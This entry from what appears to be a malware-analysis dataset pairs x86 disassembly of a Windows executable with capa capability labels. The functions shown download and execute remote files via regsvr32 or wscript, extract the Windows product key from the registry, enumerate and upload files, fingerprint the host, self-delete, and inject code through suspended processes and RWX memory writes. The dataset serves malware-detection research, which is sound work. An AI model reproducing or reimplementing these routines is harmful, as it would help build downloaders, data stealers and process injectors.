joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401efe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x1c], eax
mov eax, edx
xor ebx, ebx
sub eax, ebx
mov dword [ebp - 0x20], edx
je 0x401ffb
dec eax
je 0x401fe9
dec eax
je 0x401fcc
dec eax
je 0x401fa9
dec eax
je 0x401f86
dec eax
je 0x401f66
dec eax
jne 0x402028
push dword [esi + 8]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
call edi
pop ecx
push dword [esi + 0xc]
mov dword [ebp - 0x10], eax
call edi
mov dword [ebp - 4], 0x40187e
jmp 0x402024
push dword [esi + 8]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
call edi
pop ecx
push dword [esi + 0xc]
mov dword [ebp - 0x10], eax
call edi
mov dword [ebp - 4], 0x4019f5
jmp 0x402024
mov eax, dword [esi + 8]
push dword [esi + 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
mov dword [ebp - 0x18], eax
call edi
pop ecx
push dword [esi + 0x10]
mov dword [ebp - 0x10], eax
call edi
mov dword [ebp - 4], 0x40623e
jmp 0x402024
mov eax, dword [esi + 8]
push dword [esi + 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
mov dword [ebp - 0x18], eax
call edi
pop ecx
push dword [esi + 0x10]
mov dword [ebp - 0x10], eax
call edi
mov dword [ebp - 4], 0x406181
jmp 0x402024
push dword [esi + 8]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
call edi
pop ecx
push dword [esi + 0xc]
mov dword [ebp - 0x10], eax
call edi
mov dword [ebp - 4], 0x4015ab
jmp 0x402024
push dword [esi + 0xc]
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [ebp - 4], 0x401c78
jmp 0x402024
push dword [esi + 8]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
call edi
pop ecx
push dword [esi + 0xc]
test eax, eax
setne al
mov byte [ebp - 0x14], al
call edi
pop ecx
push dword [esi + 0x10]
mov dword [ebp - 0x10], eax
call edi
mov dword [ebp - 4], 0x40166a
pop ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_]
xor edi, edi
pop ecx
mov esi, eax
cmp dword [ebp - 0xc], ebx
jl 0x402067
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
push ebx
push ebx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [esi + edi*4], eax
inc edi
cmp edi, dword [ebp - 0xc]
jle 0x40204a
xor edi, edi
cmp dword [ebp - 0xc], ebx
jl 0x402082
push 0x493e0
push dword [esi + edi*4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc edi
cmp edi, dword [ebp - 0xc]
jle 0x40206e
xor edi, edi
cmp dword [ebp - 0xc], ebx
jl 0x402098
push dword [esi + edi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebp - 0xc]
jle 0x402089
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4020cc
Capabilities:
Download url
Query environment variable
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00405428
push 0xa
mov dword [ebp - 8], eax
call fcn.00405428
push esi
call fcn.00405428
push esi
mov ebx, eax
call fcn.00405428
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x2f
push dword [ebp + 8]
call edi
add esp, 0x18
jmp 0x402117
lea ebx, [eax + 1]
push 0x2f
push ebx
call edi
pop ecx
pop ecx
test eax, eax
jne 0x40210d
push esi
call fcn.00405428
push esi
mov dword [ebp - 4], eax
call fcn.00405428
push 0x2e
push ebx
call edi
add esp, 0x10
xor ebx, ebx
jmp 0x402141
inc eax
push 0x2e
push eax
mov dword [ebp - 4], eax
call edi
pop ecx
pop ecx
cmp eax, ebx
jne 0x402136
push 0x103
lea eax, [ebp - 0x210]
push eax
push str._TEMP_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push str._s_d._s
push eax
call esi
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x40219f
xor eax, eax
jmp 0x40220a
push 0x407910
push dword [ebp - 4]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
jne 0x4021d5
lea eax, [ebp - 0x10c]
push eax
push str._s__s
push dword [ebp - 8]
call esi
push dword [ebp - 8]
push str.regsvr32
call fcn.0040263d
add esp, 0x14
jmp 0x402201
push 0x407928
push dword [ebp - 4]
call fcn.00405e5f
pop ecx
test eax, eax
pop ecx
lea eax, [ebp - 0x10c]
jne 0x4021f6
push eax
push str.wscript
jmp 0x4021fa
push dword [ebp + 0xc]
push eax
call fcn.0040263d
pop ecx
pop ecx
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4022f1
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dword [0x40a3c8], esi
mov dword [0x40a3c4], edi
xor eax, eax
mov byte [eax + 0x40a3d0], al
inc eax
cmp eax, 0x100
jl 0x40230d
mov dword [ebp - 8], ebx
mov eax, ebx
cdq
idiv dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov cl, byte [ebx + 0x40a3d0]
movzx eax, byte [edx + eax]
add eax, dword [ebp - 8]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x402347
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 8], eax
lea eax, [eax + 0x40a3d0]
mov dl, byte [eax]
mov byte [ebx + 0x40a3d0], dl
inc ebx
mov byte [eax], cl
cmp ebx, 0x100
jl 0x40231e
mov ecx, dword [ebp + 8]
xor ebx, ebx
call fcn.00405d8d
test eax, eax
jle 0x4023fb
mov al, byte [ebx + ecx]
inc esi
and esi, 0x800000ff
mov byte [ebp - 4], al
jns 0x40238c
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + 0x40a3d0]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x4023a7
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [edi + 0x40a3d0]
mov byte [esi + 0x40a3d0], cl
mov byte [edi + 0x40a3d0], dl
movzx eax, byte [esi + 0x40a3d0]
movzx ecx, dl
add eax, ecx
and eax, 0x800000ff
jns 0x4023d3
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [ebp + 8]
movzx eax, al
mov al, byte [eax + 0x40a3d0]
xor al, byte [ebp - 4]
mov byte [ebx + ecx], al
inc ebx
call fcn.00405d8d
cmp ebx, eax
jl 0x402375
mov dword [0x40a3c4], edi
mov dword [0x40a3c8], esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402400
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x18]
sub esp, 0x470
push ebx
push esi
push edi
cmp dword [0x40a4d4], eax
jge 0x4025bd
push dword [ebp + 0x14]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x25c]
push str._s
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0xc
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x25c]
push eax
call edi
mov dword [ebp - 8], eax
mov ebx, 0x407984
cmp eax, 0xffffffff
je 0x4024ce
test byte [ebp - 0x154], 0x10
je 0x4024ba
cmp byte [ebp - 0x128], 0x2e
jne 0x40247c
cmp byte [ebp - 0x127], 0
je 0x4024ba
cmp byte [ebp - 0x127], 0x2e
je 0x4024ba
mov eax, dword [ebp + 0x18]
cmp dword [0x40a4d4], eax
jge 0x4025bd
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x364]
push ebx
push eax
call esi
push dword [ebp + 0x18]
lea eax, [ebp - 0x364]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402400
add esp, 0x24
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402458
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 0x10]
lea eax, [ebp - 0x25c]
push dword [ebp + 0x14]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x25c]
push eax
call edi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4025b1
mov edi, 0x104
mov eax, dword [ebp + 0x18]
cmp dword [0x40a4d4], eax
jge 0x4025bd
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x46c]
push ebx
push eax
call esi
push edi
call fcn.00405428
add esp, 0x14
push str._upload1
push dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
push dword [ebp + 8]
push str._s_s_s
push eax
call esi
add esp, 0x14
push edi
call fcn.00405428
pop ecx
push edi
mov dword [ebp - 0x10], eax
call fcn.00405428
pop ecx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call fcn.00402782
add esp, 0xc
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040351c
add esp, 0x10
inc dword [0x40a4d4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40250b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4025c2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4025e1
or eax, 0xffffffff
jmp 0x40261e
push 2
pop eax
mov word [ebp - 0x10], ax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 0x50
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40261c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4025dc
mov eax, esi
pop esi
leave
ret

Function at 0x40263d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
setg al
pop ebp
ret

Function at 0x40265a
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x160]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x268]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push esi
lea eax, [ebp - 0x160]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov esi, dword [sym.imp.MSVCRT.dll_memset]
push 0x44
lea eax, [ebp - 0x58]
push edi
push eax
call esi
xor eax, eax
push 0x10
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push edi
push eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
call esi
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x470]
push str._s__c_del__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 4
push edi
push edi
push edi
lea eax, [ebp - 0x470]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, 0x80
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push edi
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x40
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
leave
ret
Function at 0x402836
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov ebx, 0x400
push ebx
xor edi, edi
xor esi, esi
call fcn.004054ca
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x402941
push esi
push ebx
push eax
jmp 0x4028f4
cmp ebx, 0xffffffff
je 0x402907
test esi, esi
jne 0x40287c
lea eax, [ebx + 1]
push eax
call fcn.004054ca
mov esi, eax
jmp 0x4028d3
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x1c]
and dword [ebp - 8], 0
mov dword [ebp - 4], eax
lea eax, [ebx + edi + 1]
test eax, eax
je 0x4028ca
push eax
call fcn.004054ca
pop ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x4028ca
cmp dword [ebp - 4], 0
je 0x4028ca
lea eax, [ebx + edi + 1]
cmp eax, dword [ebp - 4]
jae 0x4028bb
mov dword [ebp - 4], eax
push dword [ebp - 4]
push esi
push dword [ebp - 8]
call fcn.0040549f
add esp, 0xc
push esi
call fcn.004054e1
mov esi, dword [ebp - 8]
pop ecx
test esi, esi
je 0x402941
push ebx
push dword [ebp - 0xc]
lea eax, [esi + edi]
push eax
call fcn.0040549f
add esp, 0xc
push 0
push 0x400
push dword [ebp - 0xc]
add edi, ebx
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test ebx, ebx
jne 0x402862
push dword [ebp - 0xc]
call fcn.004054e1
pop ecx
test edi, edi
je 0x40293a
xor eax, eax
test edi, edi
je 0x40293a
cmp byte [eax + esi], 0xd
jne 0x402935
cmp byte [eax + esi + 1], 0xa
jne 0x402935
cmp byte [eax + esi + 2], 0xd
jne 0x402935
cmp byte [eax + esi + 3], 0xa
je 0x402948
inc eax
cmp eax, edi
jb 0x40291a
push esi
call fcn.004054e1
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
add eax, 4
je 0x40293a
mov ecx, dword [ebp + 0xc]
sub edi, eax
mov dword [ecx], edi
add eax, esi
jmp 0x402943
Function at 0x402aea
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push closesocket
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
call edi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x402b23
xor eax, eax
jmp 0x402bd3
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea eax, [ebx + 4]
push eax
call fcn.00405428
pop ecx
mov dword [ebp - 4], eax
cmp eax, esi
je 0x402bc7
push esi
lea ecx, [ebp - 0x14]
push ecx
push ebx
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402bbe
push esi
push esi
push 1
push esi
push 2
push 0x40000000
push dword [ebp + 0xc]
call edi
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x402ba7
xor edi, edi
cmp ebx, esi
jbe 0x402b93
push esi
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push 8
add eax, edi
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add edi, 8
cmp edi, ebx
jb 0x402b76
cmp edi, ebx
jne 0x402b9e
mov dword [ebp - 0x10], 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call fcn.00405460
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
jmp 0x402bd2
push dword [ebp - 4]
call fcn.00405460
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40371e
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push ebx
push esi
push edi
mov esi, eax
push 0x598
push esi
call fcn.00405481
mov edi, dword [sym.imp.MSVCRT.dll_memset]
mov eax, 0x80
push eax
push 0
push esi
mov dword [ebp - 4], eax
call edi
add esp, 0x14
push 0x7f
lea eax, [ebp - 0x87]
push 0
push eax
mov byte [ebp - 0x88], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [ebp - 4]
lea eax, [ebp - 0x88]
push eax
mov eax, esi
call fcn.00405e10
mov eax, 0x105
push eax
lea ebx, [esi + 0x80]
push 0
push ebx
mov dword [ebp - 4], eax
call edi
add esp, 0x14
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.004037f1
push esi
call fcn.00403bd5
pop ecx
push esi
call fcn.00403df8
pop ecx
push esi
call fcn.00403efa
pop ecx
push esi
call fcn.004040d1
pop ecx
push 0
call fcn.00405400
pop ecx
mov dword [esi + 0x594], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
setne al
pop edi
mov byte [esi + 0x592], al
pop esi
pop ebx
leave
ret
Function at 0x403df8
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_memset]
mov esi, 0x104
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call edi
add esp, 0xc
push esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x403e6d
push ebx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
je 0x403e6c
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call edi
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
add esp, 0xc
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, eax
lea edi, [ebp - 0x104]
call fcn.00405d9f
pop ebx
lea eax, [ebp - 0x104]
push eax
push str.10.
call fcn.00405c50
pop ecx
pop ecx
pop edi
pop esi
test eax, eax
je 0x403eee
lea eax, [ebp - 0x104]
push eax
push str.172.1_.
call fcn.00405c50
pop ecx
pop ecx
test eax, eax
je 0x403eee
lea eax, [ebp - 0x104]
push eax
push str.172.2_.
call fcn.00405c50
pop ecx
pop ecx
test eax, eax
je 0x403eee
lea eax, [ebp - 0x104]
push eax
push str.172.3_.
call fcn.00405c50
pop ecx
pop ecx
test eax, eax
je 0x403eee
lea eax, [ebp - 0x104]
push eax
push str.192.168.
call fcn.00405c50
pop ecx
pop ecx
test eax, eax
je 0x403eee
mov eax, dword [ebp + 8]
mov byte [eax + 0x591], 0
leave
ret
mov eax, dword [ebp + 8]
mov byte [eax + 0x591], 1
leave
ret
Function at 0x4040d1
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f8
push edi
xor edi, edi
push 0x8b
lea eax, [ebp - 0x1f7]
push edi
push eax
mov dword [ebp - 4], edi
mov byte [ebp - 0x1f8], 0
call sub.MSVCRT.dll_memset
push 0xff
lea eax, [ebp - 0x16b]
push edi
push eax
mov byte [ebp - 0x16c], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 0x6c], str.BCDFGHJKMPQRTVWXY2346789
mov dword [ebp - 0x68], 0x408234
mov dword [ebp - 0x64], 0x408238
mov dword [ebp - 0x60], 0x40823c
mov dword [ebp - 0x5c], 0x408240
mov dword [ebp - 0x58], 0x408244
mov dword [ebp - 0x54], 0x408248
mov dword [ebp - 0x50], 0x40824c
mov dword [ebp - 0x4c], 0x408250
mov dword [ebp - 0x48], 0x408254
mov dword [ebp - 0x44], 0x408258
mov dword [ebp - 0x40], 0x40825c
mov dword [ebp - 0x3c], 0x408260
mov dword [ebp - 0x38], 0x408264
mov dword [ebp - 0x34], 0x408268
mov dword [ebp - 0x30], 0x40826c
mov dword [ebp - 0x2c], 0x408270
mov dword [ebp - 0x28], 0x408274
mov dword [ebp - 0x24], 0x408278
mov dword [ebp - 0x20], 0x40827c
mov dword [ebp - 0x1c], 0x408280
mov dword [ebp - 0x18], 0x408284
mov dword [ebp - 0x14], 0x408288
mov dword [ebp - 0x10], 0x40828c
mov dword [ebp - 0xc], edi
call fcn.00402740
lea eax, [ebp - 8]
push eax
push 0x20119
push edi
push 0x408290
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4042e6
push ebx
mov eax, 0xa4
push esi
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push edi
push str.DigitalProductId
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404225
lea esi, [ebx + 0x34]
lea edi, [ebp - 0x1f8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
push ebx
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 0x18
pop ebx
jmp 0x404234
xor edi, edi
push 0xe
pop esi
lea ecx, [ebp + esi - 0x1f8]
movzx edx, byte [ecx]
mov eax, edi
shl eax, 8
xor eax, edx
push 0x18
cdq
pop edi
idiv edi
dec esi
mov byte [ecx], al
mov edi, edx
jns 0x404237
lea eax, [ebp - 0x16c]
push eax
call sub.MSVCRT.dll__strrev
push dword [ebp + edi*4 - 0x6c]
lea ecx, [ebp - 0x16c]
call fcn.00405db8
lea eax, [ebp - 0x16c]
push eax
call sub.MSVCRT.dll__strrev
add esp, 0xc
mov eax, ebx
push 5
cdq
pop ecx
idiv ecx
test edx, edx
jne 0x4042c5
test ebx, ebx
je 0x4042c5
lea eax, [ebp - 0x16c]
push eax
call sub.MSVCRT.dll__strrev
lea ecx, [ebp - 0x16c]
call fcn.00405d8d
lea edi, [ebp + eax - 0x16c]
mov ecx, 0x4082d4
call fcn.00405d9f
lea eax, [ebp - 0x16c]
push eax
call sub.MSVCRT.dll__strrev
pop ecx
pop ecx
dec ebx
jns 0x404232
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x16c]
push eax
add ecx, 0x48d
call fcn.00405db8
pop ecx
pop esi
pop ebx
jmp 0x4042fa
mov ecx, dword [ebp + 8]
push str.0000_0000_0000_0000_0000
add ecx, 0x48d
call fcn.00405db8
pop ecx
pop edi
leave
ret
Function at 0x40432b
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCRT.dll_memset
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
xor eax, eax
inc eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
test eax, eax
je 0x404395
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x4043fb
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
call fcn.004042fd
mov edi, eax
mov esi, dword [edi + 0x3c]
mov eax, dword [esi + edi + 0x50]
push eax
mov dword [ebp - 8], eax
call fcn.00405428
xor ebx, ebx
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, ebx
jne 0x40442d
or eax, 0xffffffff
jmp 0x4044d4
push dword [ebp - 8]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_memcpy]
or dword [ebp - 0x14], 0xffffffff
add esp, 0xc
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x4044af
mov ebx, dword [ebp - 0x10]
push dword [esi + edi + 0xa4]
mov eax, dword [esi + edi + 0xa0]
mov dword [ebp - 4], ebx
sub dword [ebp - 4], edi
push dword [ebp - 4]
add eax, edi
push dword [ebp - 0xc]
push eax
call fcn.00404399
add esp, 0x10
push 0
push dword [ebp - 8]
mov dword [0x40a51c], ebx
push dword [ebp - 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jne 0x4044af
mov eax, dword [ebp - 4]
add eax, 0x405512
mov dword [ebp - 0x14], eax
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push 0x40
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
push dword [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
pop edi
pop esi
pop ebx
leave
ret